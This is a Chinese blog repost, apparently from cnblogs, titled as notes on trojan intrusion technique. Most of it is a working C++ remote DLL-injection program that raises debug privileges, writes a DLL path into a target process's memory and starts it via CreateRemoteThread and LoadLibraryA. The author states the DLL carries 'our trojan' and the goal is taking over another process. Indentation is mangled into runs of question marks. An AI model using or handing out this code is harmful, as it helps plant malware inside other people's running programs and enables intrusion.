木马侵入技术小记
例1在我的程序運行期間如何禁止某個程序運行,不需要枚舉窗口或者FindWindow的方案。
例2 遠程注入
#include <windows.h>
?
#include <iostream.h>
int EnableDebugPriv(const char * name)
{
?????????????????????????? HANDLE hToken;
?????????????????????????? TOKEN_PRIVILEGES tp;
?????????????????????????? LUID luid;
?????????????????????????? //打開進程令牌環
?OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, ?&hToken);
?????????????????????????? //獲得進程本地唯一ID
???????????????????
??????? LookupPrivilegeValue(NULL,name,&luid) ;
?????????????????????????? tp.PrivilegeCount = 1;
?????????????????????????? tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
?????????????????????????? tp.Privileges[0].Luid = luid;
?????????????????????????? //調整權限
?????????????????????????? AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);
?????????????????????????? return 0;
}
//************************************************************************************************************
BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)
{
?????????????????????????? HANDLE hRemoteProcess;
?????????????????????????? EnableDebugPriv(SE_DEBUG_NAME); //提升當前進程的權限,這樣才能控制我們要注入dll的那個進程。上例有詳細說明。
?????????????????????????? //打開遠程線程
?????????????????????????? hRemoteProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId );
??????????????????????
???? char *pszLibFileRemote;
??????????????????
???????? //使用VirtualAllocEx函數在遠程進程的內存地址空間分配DLL文件名空間
pszLibFileRemote =(char*)VirtualAllocEx(hRemoteProcess, NULL, lstrlen(DllFullPath)+1, MEM_COMMIT, PAGE_READWRITE);
??????????????????????????
//使用WriteProcessMemory函數將DLL的路徑名寫入到遠程進程的內存空間
?
WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (void *) DllFullPath, lstrlen(DllFullPath)+1, NULL);
// pszLibFileRemote 為保存dll路徑的注入進程的地址。
//##############################################################################
?????????????????????????? //計算LoadLibraryA的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA"); //獲得dll內函數LoadLibraryA的地址
??????????????????????
???? //(關于GetModuleHandle函數和GetProcAddress函數)
?????????????????????????? //啟動遠程線程LoadLibraryA,通過遠程線程調用創建新的線程
????????
?????????????????? HANDLE hRemoteThread;
if( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL) ) == NULL) //在遠端進程中創建一個線程,啟動我們的dll中的LoadLibraryA
?????????????????????????? {
?????????????????????????????? cout<<"注入線程失敗!"<<endl;
?????????????????????????????? return FALSE;
?????????????????????????? }
//##############################################################################
??????????????????????
???? /*
?????????????????????????? // 在//###.....//###里的語句也可以用如下的語句代替:
??????????????????????????? DWORD dwID;
LPVOID pFunc = LoadLibraryA;
HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );
??????????????????????????? //是不是感覺簡單了很多
?????????????????????????? */
???????????????????????????? // 釋放句柄
?????????????????????????? CloseHandle(hRemoteProcess);
?????????????????????????? CloseHandle(hRemoteThread);
?????????????????????????? return TRUE;
}
//*****************************************************************************************************************************
int main()
{
????? InjectDll("c:""zrqfzr.dll",3060) ;//把zrqfzr.dll注入進程的ID號為3060的進程
???????return 0;
}
恩好好好,我來解釋一下,這就是一個最簡單的控制臺程序,dll文件里面就是我們寫的木馬程序了。3060是我們要侵占的程序的Id號,普通的程序中直接調用dll時用LoadLibrary(**.dll) 就可以了
(動態接在),但是現在我們不能直接調用,因為調用這句也只有我們現在的進程知道,但是遠端我們要注入的進程還是不知道我們調用了,dll庫。所以我們要把.dll
的路徑存放到遠端進程的內存中。(通過VirtualAllocEx();WriteProcessMemory();/)然后在遠端進程中開啟線程
CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );注意參數pszLibFileRemote這就是遠端進程保存的我們dll
文件路徑的內存的首地址。通過這個路徑,我們的遠端進程就可以去找dll的實現文件。從而找到LoadLibraryA的地址,就可以運行LoadLibraryA函數了。
1 程序首先提升自身的權限(這樣才好控制別人嘛)
2 通過進程Id獲得我們要控制的進程的句柄,
3把DLL文件的路徑寫入到宿主的內存空間里,因為DLL的文件路徑并不存在于宿主進程內存空間了,用到的函數有:
OpenProcess();//用于修改宿主進程的一些屬性,詳細參看MSDN
VirtualAllocEx();//用于在宿主內存空間中申請內存空間以寫入DLL的文件名
WriteProcessMemory();//往申請到的空間中寫入DLL的文件名
4在宿主中啟動新的線程
用的是LoadLibraryA()函數來加載,但在使用LoadLibraryA()之前必須知道它的入口地址,所以用GetProcAdress來獲得它的入口地址,有了它的地址以后,就可以用CreateRemoteThread()
函數來啟動新的線程了,到次,整個注入過程完成,不過還不非常完善,這就留給聰明的你來完成了;)。
詳見:http://hi.baidu.com/43755979/blog/item/73b35eddcbaab7db8d1029e2.html
?
轉載于:https://www.cnblogs.com/SuperXJ/archive/2009/09/27/1575262.html
總結
- 上一篇: 一人代多人还款啥意思
- 下一篇: Google Calendar API练